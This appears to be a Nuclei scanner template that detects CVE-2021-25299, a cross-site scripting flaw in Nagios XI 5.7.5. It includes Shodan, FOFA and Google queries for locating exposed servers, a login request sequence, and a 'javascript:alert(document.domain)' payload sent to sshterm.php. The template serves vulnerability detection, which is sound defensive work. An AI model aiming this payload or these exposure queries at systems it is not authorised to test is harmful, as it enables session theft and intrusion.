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id : CVE-2021-25299
info :
name : Nagios XI 5.7.5 - Cross-Site Scripting
author : ritikchaddha
severity : medium
description : |
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Nagios XI 5.7.5 contains a cross-site scripting vulnerability in the file /usr/local/nagiosxi/html/admin/sshterm.php, due to improper sanitization of user-controlled input. A maliciously crafted URL, when clicked by an admin user, can be used to steal session cookies, or it can be chained with the previous bugs to get one-click remote command execution on the Nagios XI server.
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remediation : |
Upgrade Nagios XI to the latest version or apply the provided patch to fix the XSS vulnerability.
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reference :
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md#cve-2021-25299
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- http://nagios.com
- https://github.com/fs0c-sh/nagios-xi-5.7.5-bugs/blob/main/README.md
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- https://nvd.nist.gov/vuln/detail/CVE-2021-25299
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- https://assets.nagios.com/downloads/nagiosxi/versions.php
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classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
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cve-id : CVE-2021-25299
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cwe-id : CWE-79
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epss-score : 0.9644
epss-percentile : 0.99577
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cpe : cpe:2.3:a:nagios:nagios_xi:5.7.5:*:*:*:*:*:*:*
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metadata :
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verified : true
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max-request : 3
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vendor : nagios
product : nagios_xi
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shodan-query : title:"Nagios XI"
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fofa-query : title="nagios xi"
google-query : intitle:"nagios xi"
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tags : cve2021,cve,nagios,nagiosxi,xss,authenticated
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http :
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- raw :
- |
GET /nagiosxi/login.php HTTP/1.1
Host : {{Hostname}}
- |
POST /nagiosxi/login.php HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
nsp={{nsp}}&page=auth&debug=&pageopt=login&username={{username}}&password={{password}}&loginButton=
- |
GET /nagiosxi/admin/sshterm.php?url=javascript:alert(document.domain) HTTP/1.1
Host : {{Hostname}}
matchers :
- type : dsl
dsl :
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- "contains(header_3, 'text/html')"
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- "status_code_3 == 200"
- 'contains(body_3, "iframe src=\"javascript:alert(document.domain)") && contains(body_3, "SSH Terminal")'
condition : and
extractors :
- type : regex
name : nsp
group : 1
regex :
- 'name="nsp" value="(.*)">'
internal : true
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part : body
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# digest: 4a0a0047304502206b99d22bd9041fb52ab13aa83d2e997290b17108448b7cbf376053179bd36bee022100ca8607aa86f35144000ea54bac59cc3ac464d1f0f8d3943df0365a02f45c3777:922c64590222798bb761d5b6d8e72950